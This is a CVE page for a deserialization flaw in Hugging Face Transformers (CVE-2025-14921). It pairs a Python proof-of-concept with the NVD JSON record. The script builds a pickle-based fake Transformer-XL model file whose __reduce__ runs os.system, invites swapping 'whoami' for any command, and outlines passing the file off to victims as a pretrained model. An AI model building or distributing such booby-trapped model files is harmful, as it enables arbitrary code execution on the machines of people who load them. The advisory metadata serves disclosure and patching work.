CVE-2025-14921

# CVE-2025-14921 PoC - Malicious Transformer-XL Model File Generator # This PoC demonstrates the vulnerability in Hugging Face Transformers # WARNING: For educational and security research purposes only import pickle import os class MaliciousPayload: """ Malicious class that executes code during pickle deserialization. This demonstrates the insecure deserialization vulnerability in Transformers. """ def __reduce__(self): # This will execute arbitrary code during unpickling # Replace 'whoami' command with any desired system command return (os.system, ('whoami',)) def create_malicious_model(): """ Generate a malicious pickle file that exploits the deserialization vulnerability. When loaded by vulnerable Transformers library, the payload will be executed. """ # Create malicious payload object malicious_obj = MaliciousPayload() # Serialize to pickle format # In real attack, this would be disguised as a Transformer-XL model file pickle_data = pickle.dumps(malicious_obj) # Save as fake model file model_path = 'malicious_transformer_xl_model.bin' with open(model_path, 'wb') as f: f.write(pickle_data) print(f'[+] Malicious model file created: {model_path}') print(f'[+] File size: {os.path.getsize(model_path)} bytes') return model_path def simulate_vulnerable_load(model_path): """ Simulate how vulnerable Transformers code would load the malicious model. In real scenario, this would be triggered by transformers.TransfoemerXLModel.from_pretrained() """ print(f'[*] Simulating vulnerable model loading...') try: with open(model_path, 'rb') as f: # This is the vulnerable pattern - direct pickle.load without validation model_data = pickle.load(f) print('[+] Model loaded successfully') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': print('='*60) print('CVE-2025-14921 - Transformer-XL Deserialization RCE PoC') print('='*60) # Generate malicious model file model_path = create_malicious_model() # Note: In real attack scenario, this file would be hosted on a website # or distributed as a 'pretrained model' for users to download and load print('\n[!] In real attack scenario:') print(' 1. Attacker hosts this file as a "pretrained model"') print(' 2. Victim downloads and loads with TransformerXLModel.from_pretrained()') print(' 3. Arbitrary code executes in victim\'s context')

{"cve": {"id": "CVE-2025-14921", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:47.340", "lastModified": "2026-01-21T16:44:06.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugging Face Transformers Transformer-XL Model Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hugging Face Transformers. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of model files. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-25424."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:huggingface:transformers:4.54.1:*:*:*:*:*:*:*", "matchCriteriaId": "A0D191EE-0D6C-4D5D-A1B7-C19000D57F1C"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1149/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}